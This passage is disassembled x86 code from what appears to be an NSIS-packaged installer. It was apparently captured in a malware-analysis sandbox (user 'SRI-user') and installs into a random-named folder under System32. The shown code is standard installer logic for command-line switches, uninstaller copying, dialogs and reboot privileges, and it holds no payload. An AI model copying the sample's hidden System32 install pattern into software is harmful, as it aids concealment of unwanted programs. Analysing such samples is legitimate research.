		mov	ebp, offset aErrorWritingTe ; "Error writing temporary file. Make sure"...
		mov	[esp+18Ch+var_17C], 20h
		call	ds:dword_407030
		push	esi
		call	ds:dword_407270
		mov	dword_42F4D0, eax
		push	esi
		lea	eax, [esp+194h+var_164]
		push	160h
		push	eax
		push	esi
		push	offset dword_429860
		call	ds:dword_407158
		push	offset aNsisError ; "NSIS Error"
		push	offset aNameSetup ; "Name Setup"
		call	sub_4059DB
		mov	ebx, offset aCDocume1SriUse ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\"
		push	ebx
		push	400h
		call	ds:dword_4070B4	; GetTempPathA
		call	sub_403132
		test	eax, eax
		jnz	short loc_4031F6
		push	3FBh
		push	ebx
		call	ds:dword_4070B0	; GetWindowsDirectoryA
		push	offset aTemp	; "\\Temp"
		push	ebx
		call	sub_4059F7	; lstrcat
		call	sub_403132
		test	eax, eax
		jz	loc_403332

loc_4031F6:				; CODE XREF: start+6Aj
		mov	edi, offset byte_435000
		push	edi
		call	ds:dword_407140	; DeleteFileA
		call	ds:dword_4070AC	; GetCommandLineA
		push	eax
		push	edi
		call	sub_4059DB
		push	0
		call	ds:dword_407108	; GetModuleHandleA
		cmp	ds:byte_435000,	22h
		mov	dword_42F420, eax
		mov	eax, edi
		jnz	short loc_403231
		mov	byte ptr [esp+1C4h+var_1B4], 22h
		mov	eax, offset byte_435001

loc_403231:				; CODE XREF: start+BFj
		push	[esp+1C4h+var_1B4]
		push	eax
		call	sub_405513
		push	eax
		call	ds:dword_407214	; CharNextA
		mov	[esp+1C8h+var_1B4], eax
		jmp	short loc_4032AB
; ---------------------------------------------------------------------------

loc_403248:				; CODE XREF: start+149j
		cmp	cl, 20h
		jnz	short loc_403253

loc_40324D:				; CODE XREF: start+EBj
		inc	eax
		cmp	byte ptr [eax],	20h
		jz	short loc_40324D

loc_403253:				; CODE XREF: start+E5j
		cmp	byte ptr [eax],	22h
		mov	byte ptr [esp+1C8h+var_1B8], 20h
		jnz	short loc_403263
		inc	eax
		mov	byte ptr [esp+1C8h+var_1B8], 22h

loc_403263:				; CODE XREF: start+F5j
		cmp	byte ptr [eax],	2Fh
		jnz	short loc_40329B
		inc	eax
		cmp	byte ptr [eax],	53h
		jnz	short loc_40327C
		mov	cl, [eax+1]
		or	cl, 20h
		cmp	cl, 20h
		jnz	short loc_40327C
		or	esi, 2

loc_40327C:				; CODE XREF: start+106j start+111j
		cmp	dword ptr [eax], 4352434Eh
		jnz	short loc_403292
		mov	cl, [eax+4]
		or	cl, 20h
		cmp	cl, 20h
		jnz	short loc_403292
		or	esi, 4

loc_403292:				; CODE XREF: start+11Cj start+127j
		cmp	dword ptr [eax-2], 3D442F20h
		jz	short loc_4032B3

loc_40329B:				; CODE XREF: start+100j
		push	[esp+1C8h+var_1B8]
		push	eax
		call	sub_405513
		cmp	byte ptr [eax],	22h
		jnz	short loc_4032AB
		inc	eax

loc_4032AB:				; CODE XREF: start+E0j	start+142j
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_403248
		jmp	short loc_4032C5
; ---------------------------------------------------------------------------

loc_4032B3:				; CODE XREF: start+133j
		and	byte ptr [eax-2], 0
		add	eax, 2
		push	eax
		push	offset aCWindowsSyst_2 ; "C:\\WINDOWS\\System32"
		call	sub_4059DB

loc_4032C5:				; CODE XREF: start+14Bj
		push	esi
		call	sub_402C37
		mov	ebp, eax
		test	ebp, ebp
		jnz	short loc_403332
		cmp	dword_42F434, eax
		jz	short loc_403322
		push	eax
		push	edi
		call	sub_405513
		mov	esi, eax
		jmp	short loc_4032ED
; ---------------------------------------------------------------------------

loc_4032E4:				; CODE XREF: start+189j
		cmp	dword ptr [esi], 3D3F5F20h
		jz	short loc_4032F1
		dec	esi

loc_4032ED:				; CODE XREF: start+17Cj
		cmp	esi, edi
		jnb	short loc_4032E4

loc_4032F1:				; CODE XREF: start+184j
		cmp	esi, edi
		mov	ebp, offset aErrorLaunching ; "Error launching installer"
		jb	short loc_403358
		and	byte ptr [esi],	0
		add	esi, 4
		push	esi
		call	sub_4055C8
		test	eax, eax
		jz	short loc_403332
		push	esi
		push	offset aCWindowsSyst_2 ; "C:\\WINDOWS\\System32"
		call	sub_4059DB
		push	esi
		push	offset aCWindowsSyst_0 ; "C:\\WINDOWS\\System32\\b06FdUe"
		call	sub_4059DB
		xor	ebp, ebp

loc_403322:				; CODE XREF: start+171j
		or	dword_42F4CC, 0FFFFFFFFh
		call	sub_403542
		mov	[esp+1C8h+var_1B0], eax

loc_403332:				; CODE XREF: start+8Aj	start+169j ...
		call	sub_40351D
		call	ds:dword_407274
		test	ebp, ebp
		jz	loc_40346A
		push	200010h
		push	ebp
		call	sub_4052DB
		push	2
		call	ds:dword_4070A8	; ExitProcess

loc_403358:				; CODE XREF: start+192j
		push	offset aNsu_tmp	; "~nsu.tmp\\"
		push	ebx
		call	sub_4059F7	; lstrcat
		push	0
		push	ebx
		call	ds:dword_407088	; CreateDirectoryA
		and	[esp+1DCh+var_1CC], 0
		mov	esi, offset word_428C60
		mov	edi, offset dword_429460

loc_40337B:				; CODE XREF: start+2F9j
		push	ebx
		push	esi
		mov	word_428C60, 22h
		call	sub_4059F7	; lstrcat
		push	offset aAu__exe	; "Au_.exe"
		push	esi
		call	sub_4059F7	; lstrcat
		push	428C61h
		call	ds:dword_407140	; DeleteFileA
		test	ebp, ebp
		jz	loc_403450
		push	400h
		push	edi
		push	dword_42F420
		call	ds:dword_407098	; GetModuleFileNameA
		lea	eax, dword_42945A[eax]
		push	4091A1h
		push	eax
		call	ds:dword_4070A4	; lstrcmpi
		test	eax, eax
		jz	loc_403332
		push	0
		push	428C61h
		push	edi
		call	ds:dword_407144	; CopyFileA
		test	eax, eax
		jz	short loc_403450
		push	0
		push	428C61h
		call	sub_405723
		cmp	byte ptr ds:aCWindowsSyst_2, 0 ; "C:\\WINDOWS\\System32"
		jz	short loc_403409
		push	offset aCWindowsSyst_2 ; "C:\\WINDOWS\\System32"
		push	edi
		call	sub_4059DB
		jmp	short loc_40340F
; ---------------------------------------------------------------------------

loc_403409:				; CODE XREF: start+294j
		push	edi
		call	sub_40552F

loc_40340F:				; CODE XREF: start+2A1j
		push	offset asc_409218 ; "\"	"
		push	esi
		call	sub_4059F7	; lstrcat
		push	[esp+218h+var_204]
		push	esi
		call	sub_4059F7	; lstrcat
		push	offset a_?	; " _?="
		push	esi
		call	sub_4059F7	; lstrcat
		push	edi
		push	esi
		call	sub_4059F7	; lstrcat
		push	esi
		call	sub_4054E8
		push	ebx
		push	esi
		call	sub_405263
		test	eax, eax
		jz	short loc_403450
		push	eax
		call	ds:dword_407060	; CloseHandle
		xor	ebp, ebp

loc_403450:				; CODE XREF: start+23Dj start+27Fj ...
		inc	byte ptr aAu__exe ; "Au_.exe"
		inc	[esp+234h+var_224]
		cmp	[esp+234h+var_224], 1Ah
		jl	loc_40337B
		jmp	loc_403332
; ---------------------------------------------------------------------------

loc_40346A:				; CODE XREF: start+1D9j
		cmp	dword_42F4B4, 0
		jz	loc_403505
		mov	esi, offset aAdvapi32_dll ; "ADVAPI32.dll"
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	esi
		call	sub_405CEE
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	esi
		mov	ebp, eax
		call	sub_405CEE
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	esi
		mov	edi, eax
		call	sub_405CEE
		xor	esi, esi
		mov	ebx, eax
		cmp	ebp, esi
		jz	short loc_4034F1
		cmp	edi, esi
		jz	short loc_4034F1
		cmp	ebx, esi
		jz	short loc_4034F1
		lea	eax, [esp+1C8h+var_1B4]
		push	eax
		push	28h
		call	ds:dword_4070A0	; GetCurrentProcess
		push	eax
		call	ebp
		test	eax, eax
		jz	short loc_4034F1
		lea	eax, [esp+1D4h+var_1B4]
		push	eax
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		push	esi
		call	edi
		push	esi
		push	esi
		lea	eax, [esp+1E8h+var_1C4]
		push	esi
		push	eax
		push	esi
		push	[esp+1F4h+var_1CC]
		mov	[esp+1F8h+var_1C4], 1
		mov	[esp+1F8h+var_1B8], 2
		call	ebx	; GetTickCount

loc_4034F1:				; CODE XREF: start+341j start+345j ...
		push	esi
		push	2
		call	ds:dword_40721C	; ExitWindowsEx
		test	eax, eax
		jnz	short loc_403505
		push	9
		call	sub_401410

loc_403505:				; CODE XREF: start+30Bj start+396j
		mov	eax, dword_42F4CC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403513
		mov	[esp+200h+var_1E8], eax

loc_403513:				; CODE XREF: start+3A7j
		push	[esp+200h+var_1E8]
		call	ds:dword_4070A8	; ExitProcess
start		endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40351D	proc near		; CODE XREF: start:loc_403332p
		mov	eax, dword_409020
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403535
		push	eax
		call	ds:dword_407060	; CloseHandle
		or	dword_409020, 0FFFFFFFFh

loc_403535:				; CODE XREF: sub_40351D+8j
		push	7
		push	offset dword_436800
		call	sub_40531D
		retn
sub_40351D	endp


; =============== S U B	R O U T	I N E =======================================



sub_403542	proc near		; CODE XREF: start+1C3p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 14h
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_42F428
		push	edi
		push	offset aGetuserdefault ; "GetUserDefaultUILanguage"
		push	offset aKernel32_dll ; "KERNEL32.dll"
		call	sub_405CEE
		xor	ebx, ebx
		cmp	eax, ebx
		jz	short loc_403576
		call	eax
		movzx	eax, ax
		push	eax
		push	offset a1033	; "1033"
		call	sub_405939
		jmp	short loc_4035BE
; ---------------------------------------------------------------------------

loc_403576:				; CODE XREF: sub_403542+20j
		mov	edi, offset byte_42A8A0
		mov	dword ptr ds:a1033, 7830h ; "1033"
		push	edi
		push	ebx
		push	offset aControlPanelDe ; "Control Panel\\Desktop\\ResourceLocale"
		push	80000001h
		call	sub_4058CF
		cmp	byte_42A8A0, bl
		jnz	short loc_4035B3
		push	edi
		push	offset aLocale	; "Locale"
		push	offset a_defaultContro ; ".DEFAULT\\Control Panel\\International"
		push	80000003h
		call	sub_4058CF

loc_4035B3:				; CODE XREF: sub_403542+5Aj
		push	edi
		push	offset a1033	; "1033"
		call	sub_4059F7	; lstrcat

loc_4035BE:				; CODE XREF: sub_403542+32j
		call	sub_40380E
		mov	eax, dword_42F430
		mov	ebp, offset aCWindowsSyst_2 ; "C:\\WINDOWS\\System32"
		and	eax, 20h
		push	ebp
		mov	dword_42F4A0, eax
		call	sub_4055C8
		test	eax, eax
		jnz	loc_403663
		mov	ecx, [esi+48h]
		cmp	ecx, ebx
		jz	short loc_403663
		mov	edx, [esi+4Ch]
		mov	eax, dword_42F458
		mov	edi, offset aCWindowsSyst_3 ; "C:\\WINDOWS\\System32\\b06FdUe\\b06FdUe1083"...
		add	edx, eax
		push	edi
		add	ecx, eax
		push	edx
		push	ecx
		push	dword ptr [esi+44h]
		call	sub_4058CF
		mov	al, byte ptr aCWindowsSyst_3 ; "C:\\WINDOWS\\System32\\b06FdUe\\b06FdUe1083"...
		cmp	al, bl
		jz	short loc_403663
		cmp	al, 22h
		jnz	short loc_403622
		mov	edi, 42E3C1h
		push	22h
		push	edi
		call	sub_405513
		mov	[eax], bl

loc_403622:				; CODE XREF: sub_403542+CFj
		push	edi
		call	sub_4059F1	; lstrlen
		lea	eax, [eax+edi-4]
		cmp	eax, edi
		jbe	short loc_403656
		push	offset a_exe	; ".exe"
		push	eax
		call	ds:dword_4070A4	; lstrcmpi
		test	eax, eax
		jnz	short loc_403656
		push	edi
		call	ds:dword_407080	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403650
		test	al, 10h
		jnz	short loc_403656

loc_403650:				; CODE XREF: sub_403542+108j
		push	edi
		call	sub_40552F

loc_403656:				; CODE XREF: sub_403542+ECj
					; sub_403542+FCj ...
		push	edi
		call	sub_4054E8
		push	eax
		push	ebp
		call	sub_4059DB

loc_403663:				; CODE XREF: sub_403542+9Bj
					; sub_403542+A6j ...
		push	ebp
		call	sub_4055C8
		test	eax, eax
		jnz	short loc_403679
		push	dword ptr [esi+118h]
		push	ebp
		call	sub_4059FD

loc_403679:				; CODE XREF: sub_403542+129j
		push	8040h
		push	ebx
		push	ebx
		push	1
		push	67h
		push	dword_42F420
		call	ds:dword_40722C	; LoadImageA
		mov	dword_42EC08, eax
		cmp	dword ptr [esi+50h], 0FFFFFFFFh
		mov	edi, offset dword_42EBC0
		jz	loc_40372D
		mov	ecx, dword_42F420
		mov	dword_42EBD4, eax
		lea	eax, [esp+24h+var_14]
		push	edi
		mov	[esp+28h+var_14], 624E5Fh
		mov	dword_42EBC4, offset sub_401000
		mov	dword_42EBD0, ecx
		mov	dword_42EBE4, eax
		call	ds:dword_407200	; RegisterClassA
		test	ax, ax
		jz	loc_403804
		lea	eax, [esp+24h+var_10]
		push	ebx
		push	eax
		push	ebx
		push	30h
		call	ds:dword_407204	; SystemParametersInfoA
		push	ebx
		push	dword_42F420
		mov	eax, [esp+2Ch+var_4]
		sub	eax, [esp+2Ch+var_C]
		push	ebx
		push	ebx
		push	eax
		mov	eax, [esp+38h+var_8]
		sub	eax, [esp+38h+var_10]
		push	eax
		lea	eax, [esp+3Ch+var_14]
		push	[esp+3Ch+var_C]
		push	[esp+40h+var_10]
		push	80000000h
		push	ebx
		push	eax
		push	80h
		call	ds:dword_407208	; CreateWindowExA
		mov	dword_42A880, eax

loc_40372D:				; CODE XREF: sub_403542+15Cj
		push	ebx
		call	sub_401410
		test	eax, eax
		jz	short loc_40373F

loc_403737:				; CODE XREF: sub_403542+2A9j
					; sub_403542+2B6j
		push	2
		pop	eax
		jmp	loc_403806
; ---------------------------------------------------------------------------

loc_40373F:				; CODE XREF: sub_403542+1F3j
		call	sub_40380E
		cmp	dword_42F4C0, ebx
		jnz	loc_4037DB
		push	5
		push	dword_42A880
		call	ds:dword_407258	; ShowWindow
		mov	esi, ds:dword_40710C
		mov	ebp, offset aRiched20_dll ; "RichEd20.dll"
		push	ebp
		call	esi	; LoadLibraryA
		test	eax, eax
		jnz	short loc_40377C
		push	ebp
		mov	word ptr aRiched20_dll+6, 3233h
		call	esi	; LoadLibraryA

loc_40377C:				; CODE XREF: sub_403542+22Cj
		mov	ebp, ds:dword_40720C
		mov	esi, offset aRichedit20a ; "RichEdit20A"
		push	edi
		push	esi
		push	ebx
		call	ebp	; GetClassInfoA
		test	eax, eax
		jnz	short loc_4037AF
		push	edi
		push	esi
		push	ebx
		mov	byte ptr aRichedit20a+8, bl
		call	ebp	; GetClassInfoA
		push	edi
		mov	dword_42EBE4, esi
		mov	byte ptr aRichedit20a+8, 32h
		call	ds:dword_407200	; RegisterClassA

loc_4037AF:				; CODE XREF: sub_403542+24Cj
		mov	eax, dword_42EC00
		push	ebx
		add	eax, 69h
		push	offset sub_4038DB
		movzx	eax, ax
		push	ebx
		push	eax
		push	dword_42F420
		call	ds:dword_407210	; DialogBoxParamA
		push	5
		mov	esi, eax
		call	sub_401410
		mov	eax, esi
		jmp	short loc_403806
; ---------------------------------------------------------------------------

loc_4037DB:				; CODE XREF: sub_403542+208j
		push	ebx
		call	sub_404E50
		test	eax, eax
		jz	short loc_4037FD
		cmp	dword_42EBEC, ebx
		jnz	loc_403737
		push	2
		call	sub_401410
		jmp	loc_403737
; ---------------------------------------------------------------------------

loc_4037FD:				; CODE XREF: sub_403542+2A1j
		push	1
		call	sub_401410

loc_403804:				; CODE XREF: sub_403542+198j
		xor	eax, eax

loc_403806:				; CODE XREF: sub_403542+1F8j
					; sub_403542+297j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 14h
		retn
sub_403542	endp


; =============== S U B	R O U T	I N E =======================================



sub_40380E	proc near		; CODE XREF: sub_403542:loc_4035BEp
					; sub_403542:loc_40373Fp
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, offset a1033 ; "1033"
		mov	ebx, 0FFFFh
		push	edi
		call	sub_405952

loc_403822:				; CODE XREF: sub_40380E+6Fj
					; sub_40380E+73j
		mov	esi, dword_42F464
		test	esi, esi
		jz	short loc_403871
		mov	ecx, dword_42F428
		mov	ecx, [ecx+64h]
		mov	edx, ecx
		imul	ecx, esi
		neg	edx
		add	ecx, dword_42F460

loc_403842:				; CODE XREF: sub_40380E+46j
		add	ecx, edx
		dec	esi
		mov	bp, [ecx]
		xor	bp, ax
		and	ebp, ebx
		test	bp, bp
		jz	short loc_403858
		test	esi, esi
		jnz	short loc_403842
		jmp	short loc_403871
; ---------------------------------------------------------------------------

loc_403858:				; CODE XREF: sub_40380E+42j
		mov	edx, [ecx+2]
		mov	dword_42EC00, edx
		mov	edx, [ecx+6]
		mov	dword_42F4C8, edx
		lea	edx, [ecx+0Ah]
		test	edx, edx
		jnz	short loc_403883

loc_403871:				; CODE XREF: sub_40380E+1Cj
					; sub_40380E+48j
		cmp	bx, 0FFFFh
		jnz	short loc_40387F
		mov	ebx, 3FFh
		jmp	short loc_403822
; ---------------------------------------------------------------------------

loc_40387F:				; CODE XREF: sub_40380E+68j
		xor	ebx, ebx
		jmp	short loc_403822
; ---------------------------------------------------------------------------

loc_403883:				; CODE XREF: sub_40380E+61j
		mov	dword_42EBFC, edx
		movzx	eax, word ptr [ecx]
		push	eax
		push	edi
		call	sub_405939
		push	0FFFFFFFEh
		push	offset aNameSetup ; "Name Setup"
		call	sub_4059FD
		push	eax
		push	dword_42A880
		call	ds:dword_4071E8	; SetWindowTextA
		mov	eax, dword_42F44C
		mov	esi, dword_42F448
		test	eax, eax
		jz	short loc_4038D6
		mov	edi, eax

loc_4038BD:				; CODE XREF: sub_40380E+C6j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4038CD
		push	eax
		lea	eax, [esi+18h]
		push	eax
		call	sub_4059FD

loc_4038CD:				; CODE XREF: sub_40380E+B3j
		add	esi, 418h
		dec	edi
		jnz	short loc_4038BD

loc_4038D6:				; CODE XREF: sub_40380E+ABj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40380E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4038DB	proc near		; DATA XREF: sub_403542+276o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 10h
		mov	ecx, 110h
		push	ebx
		push	ebp
		mov	ebp, [esp+18h+arg_4]
		push	esi
		cmp	ebp, ecx
		push	edi
		jz	loc_403A66
		cmp	ebp, 408h
		jz	loc_403A66
		mov	ebx, [esp+20h+arg_0]
		cmp	ebp, 47h
		jnz	short loc_40391D
		xor	eax, eax
		push	13h
		push	eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	dword_42A880
		call	ds:dword_40717C	; SetWindowPos

loc_40391D:				; CODE XREF: sub_4038DB+2Bj
		cmp	ebp, 5
		jnz	short loc_40393A
		mov	eax, [esp+20h+arg_8]
		dec	eax
		neg	eax
		sbb	eax, eax
		and	eax, ebp
		push	eax
		push	dword_42A880
		call	ds:dword_407258	; ShowWindow

loc_40393A:				; CODE XREF: sub_4038DB+45j
		cmp	ebp, 40Dh
		jnz	short loc_40395C
		push	dword_42EBF8
		call	ds:dword_4071E0	; DestroyWindow
		mov	eax, [esp+20h+arg_8]
		mov	dword_42EBF8, eax
		jmp	loc_403D6B
; ---------------------------------------------------------------------------

loc_40395C:				; CODE XREF: sub_4038DB+65j
		cmp	ebp, 11h
		jnz	short loc_403974
		push	0
		push	0
		push	ebx
		call	ds:dword_407228	; SetWindowLongA
		xor	eax, eax
		inc	eax
		jmp	loc_403D92
; ---------------------------------------------------------------------------

loc_403974:				; CODE XREF: sub_4038DB+84j
		cmp	ebp, 10h
		jnz	short loc_4039AC
		mov	eax, dword_42F444
		dec	eax
		cmp	dword_409284, eax
		jnz	loc_403A53
		push	dword_429868
		call	ds:dword_407178	; IsWindowEnabled
		test	eax, eax
		jnz	loc_403A53
		mov	ebp, 111h
		mov	[esp+20h+arg_8], 1

loc_4039AC:				; CODE XREF: sub_4038DB+9Cj
		cmp	ebp, 111h
		jnz	loc_403A53
		movzx	esi, word ptr [esp+20h+arg_8]
		push	esi
		push	ebx
		call	ds:dword_407224	; GetDlgItem
		mov	ebx, ds:dword_40723C
		mov	edi, eax
		test	edi, edi
		jz	short loc_4039EC
		push	0
		push	0
		push	0F3h
		push	edi
		call	ebx	; SendMessageA
		push	edi
		call	ds:dword_407178	; IsWindowEnabled
		test	eax, eax
		jz	loc_403D90

loc_4039EC:				; CODE XREF: sub_4038DB+F4j
		xor	edi, edi
		inc	edi
		cmp	esi, edi
		jnz	short loc_4039F6
		push	edi
		jmp	short loc_403A24
; ---------------------------------------------------------------------------

loc_4039F6:				; CODE XREF: sub_4038DB+116j
		cmp	esi, 3
		jnz	short loc_403A08
		cmp	dword_409284, 0
		jle	short loc_403A3E
		push	0FFFFFFFFh
		jmp	short loc_403A24
; ---------------------------------------------------------------------------

loc_403A08:				; CODE XREF: sub_4038DB+11Ej
		cmp	esi, 2
		jnz	short loc_403A3E
		cmp	dword_42F4AC, 0
		jz	short loc_403A2B
		push	esi
		call	sub_401410
		mov	dword_429C70, esi

loc_403A22:				; CODE XREF: sub_4038DB+161j
		push	78h

loc_403A24:				; CODE XREF: sub_4038DB+119j
					; sub_4038DB+12Bj
		call	sub_403D9C
		jmp	short loc_403A53
; ---------------------------------------------------------------------------

loc_403A2B:				; CODE XREF: sub_4038DB+139j
		push	3
		call	sub_401410
		test	eax, eax
		jnz	short loc_403A53
		mov	dword_429C70, edi
		jmp	short loc_403A22
; ---------------------------------------------------------------------------

loc_403A3E:				; CODE XREF: sub_4038DB+127j
					; sub_4038DB+130j
		push	[esp+20h+arg_C]
		push	[esp+24h+arg_8]
		push	111h
		push	dword_42EBF8
		call	ebx	; SendMessageA

loc_403A53:				; CODE XREF: sub_4038DB+AAj
					; sub_4038DB+BEj ...
		push	[esp+20h+arg_C]
		push	[esp+24h+arg_8]
		push	ebp
		call	sub_403E2A
		jmp	loc_403D92
; ---------------------------------------------------------------------------

loc_403A66:				; CODE XREF: sub_4038DB+12j
					; sub_4038DB+1Ej
		mov	eax, [esp+20h+arg_8]
		mov	ebx, [esp+20h+arg_0]
		cmp	ebp, ecx
		mov	dword_42A88C, eax
		jnz	short loc_403AC4
		mov	esi, ds:dword_407224
		push	1
		push	ebx
		mov	dword_42F424, ebx
		call	esi	; GetDlgItem
		push	2
		push	ebx
		mov	dword_42A89C, eax
		call	esi	; GetDlgItem
		push	0FFFFFFFFh
		push	1Ch
		push	ebx
		mov	dword_429868, eax
		call	sub_403DC3
		push	dword_42EC08
		push	0FFFFFFF2h
		push	ebx
		call	ds:dword_407174	; SetClassLongA
		push	4
		call	sub_401410
		mov	dword_42EBEC, eax
		xor	eax, eax
		inc	eax
		mov	dword_42A88C, eax

loc_403AC4:				; CODE XREF: sub_4038DB+19Aj
		mov	ecx, dword_409284
		xor	edi, edi
		mov	esi, ecx
		shl	esi, 6
		add	esi, dword_42F440
		cmp	ecx, edi
		jl	short loc_403B19
		cmp	eax, 1
		jnz	short loc_403B11
		push	edi
		push	dword ptr [esi+10h]
		call	sub_40136D
		test	eax, eax
		jz	short loc_403B11
		push	1
		push	edi
		push	40Fh
		push	dword_42EBF8
		call	ds:dword_40723C	; SendMessageA
		xor	eax, eax
		cmp	dword_42EBEC, edi
		setz	al
		jmp	loc_403D92
; ---------------------------------------------------------------------------

loc_403B11:				; CODE XREF: sub_4038DB+203j
					; sub_4038DB+210j
		cmp	[esi], edi
		jz	loc_403D90

loc_403B19:				; CODE XREF: sub_4038DB+1FEj
		push	40Bh
		call	sub_403E0F

loc_403B23:				; CODE XREF: sub_4038DB+384j
					; sub_4038DB+38Cj ...
		mov	eax, dword_42A88C
		add	dword_409284, eax
		shl	eax, 6
		add	esi, eax
		mov	eax, dword_409284
		cmp	eax, dword_42F444
		jnz	short loc_403B47
		push	1
		call	sub_401410

loc_403B47:				; CODE XREF: sub_4038DB+263j
		cmp	dword_42EBEC, 0
		jnz	loc_403D4B
		mov	eax, dword_42F444
		cmp	dword_409284, eax
		jnb	loc_403D4B
		push	dword ptr [esi+24h]
		mov	edi, [esi+14h]
		push	offset dword_437000
		call	sub_4059FD
		push	dword ptr [esi+20h]
		push	0FFFFFC19h
		push	ebx
		call	sub_403DC3
		push	dword ptr [esi+1Ch]
		push	0FFFFFC1Bh
		push	ebx
		call	sub_403DC3
		push	dword ptr [esi+28h]
		push	0FFFFFC1Ah
		push	ebx
		call	sub_403DC3
		push	3
		push	ebx
		call	ds:dword_407224	; GetDlgItem
		cmp	dword_42F4AC, 0
		mov	ebp, eax
		jz	short loc_403BBB
		and	di, 0FEFDh
		or	edi, 4

loc_403BBB:				; CODE XREF: sub_4038DB+2D6j
		mov	eax, edi
		and	eax, 8
		push	eax
		push	ebp
		call	ds:dword_407258	; ShowWindow
		mov	eax, edi
		and	eax, 100h
		push	eax
		push	ebp
		call	ds:dword_407234	; EnableWindow
		mov	eax, edi
		and	eax, 2
		push	eax
		call	sub_403DE5
		and	edi, 4
		push	edi
		push	dword_429868
		call	ds:dword_407234	; EnableWindow
		xor	edi, edi
		push	1
		push	edi
		push	0F4h
		push	ebp
		mov	ebp, ds:dword_40723C
		call	ebp	; SendMessageA
		cmp	dword_42F4AC, edi
		jz	short loc_403C20
		push	edi
		push	2
		push	401h
		push	ebx
		call	ebp	; SendMessageA
		push	dword_429868
		jmp	short loc_403C26
; ---------------------------------------------------------------------------

loc_403C20:				; CODE XREF: sub_4038DB+330j
		push	dword_42A89C

loc_403C26:				; CODE XREF: sub_4038DB+343j
		call	sub_403DF8
		mov	ebp, offset byte_42A8A0
		push	offset aNameSetup ; "Name Setup"
		push	ebp
		call	sub_4059DB
		push	dword ptr [esi+18h]
		push	ebp
		call	sub_4059F1	; lstrlen
		add	eax, ebp
		push	eax
		call	sub_4059FD
		push	ebp
		push	ebx
		call	ds:dword_4071E8	; SetWindowTextA
		push	edi
		push	dword ptr [esi+8]
		call	sub_40136D
		test	eax, eax
		jnz	loc_403B23
		cmp	[esi], eax
		jz	loc_403B23
		cmp	dword ptr [esi+4], 5
		jnz	short loc_403C90
		cmp	dword_42F4AC, eax
		jnz	loc_403D90
		cmp	dword_42F4A0, eax
		jnz	loc_403B23
		jmp	loc_403D90
; ---------------------------------------------------------------------------

loc_403C90:				; CODE XREF: sub_4038DB+396j
		push	dword_42EBF8
		call	ds:dword_4071E0	; DestroyWindow
		mov	dword_42A078, esi
		cmp	dword ptr [esi], 0
		jle	loc_403D6B
		mov	eax, [esi+4]
		push	esi
		push	off_409288[eax*4]
		mov	ax, [esi]
		add	ax, word ptr dword_42EC00
		push	ebx
		movzx	eax, ax
		push	eax
		push	dword_42F420
		call	ds:dword_4071DC	; CreateDialogParamA
		test	eax, eax
		mov	dword_42EBF8, eax
		jz	loc_403D6B
		push	dword ptr [esi+2Ch]
		push	6
		push	eax
		call	sub_403DC3
		lea	eax, [esp+20h+var_10]
		push	eax
		push	3FAh
		push	ebx
		call	ds:dword_407224	; GetDlgItem
		push	eax
		call	ds:dword_407170	; GetWindowRect
		lea	eax, [esp+20h+var_10]
		push	eax
		push	ebx
		call	ds:dword_40716C	; ScreenToClient
		xor	edi, edi
		push	15h
		push	edi
		push	edi
		push	[esp+2Ch+var_C]
		push	[esp+30h+var_10]
		push	edi
		push	dword_42EBF8
		call	ds:dword_40717C	; SetWindowPos
		push	edi
		push	dword ptr [esi+0Ch]
		call	sub_40136D
		push	8
		push	dword_42EBF8
		call	ds:dword_407258	; ShowWindow
		push	405h
		call	sub_403E0F
		jmp	short loc_403D6B
; ---------------------------------------------------------------------------

loc_403D4B:				; CODE XREF: sub_4038DB+273j
					; sub_4038DB+284j
		push	dword_42EBF8
		call	ds:dword_4071E0	; DestroyWindow
		push	dword_429C70
		and	dword_42F424, 0
		push	ebx
		call	ds:dword_4071B4	; EndDialog

loc_403D6B:				; CODE XREF: sub_4038DB+7Cj
					; sub_4038DB+3CAj ...
		cmp	dword_42B8A0, 0
		jnz	short loc_403D90
		cmp	dword_42EBF8, 0
		jz	short loc_403D90
		push	0Ah
		push	ebx
		call	ds:dword_407258	; ShowWindow
		mov	dword_42B8A0, 1

loc_403D90:				; CODE XREF: sub_4038DB+10Bj
					; sub_4038DB+238j ...
		xor	eax, eax

loc_403D92:				; CODE XREF: sub_4038DB+94j
					; sub_4038DB+186j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10h
		retn	10h
sub_4038DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_403D9C	proc near		; CODE XREF: sub_4038DB:loc_403A24p
					; sub_404EBC+219p ...

arg_0		= dword	ptr  4

		cmp	[esp+arg_0], 78h
		jnz	short loc_403DA9
		inc	dword_42EBEC

loc_403DA9:				; CODE XREF: sub_403D9C+5j
		push	0
		push	[esp+4+arg_0]
		push	408h
		push	dword_42F424
		call	ds:dword_40723C	; SendMessageA
		retn	4
sub_403D9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_403DC3	proc near		; CODE XREF: sub_4038DB+1C1p
					; sub_4038DB+2A3p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		push	0
		call	sub_4059FD
		push	eax
		mov	eax, [esp+4+arg_4]
		add	eax, 3E8h
		push	eax
		push	[esp+8+arg_0]
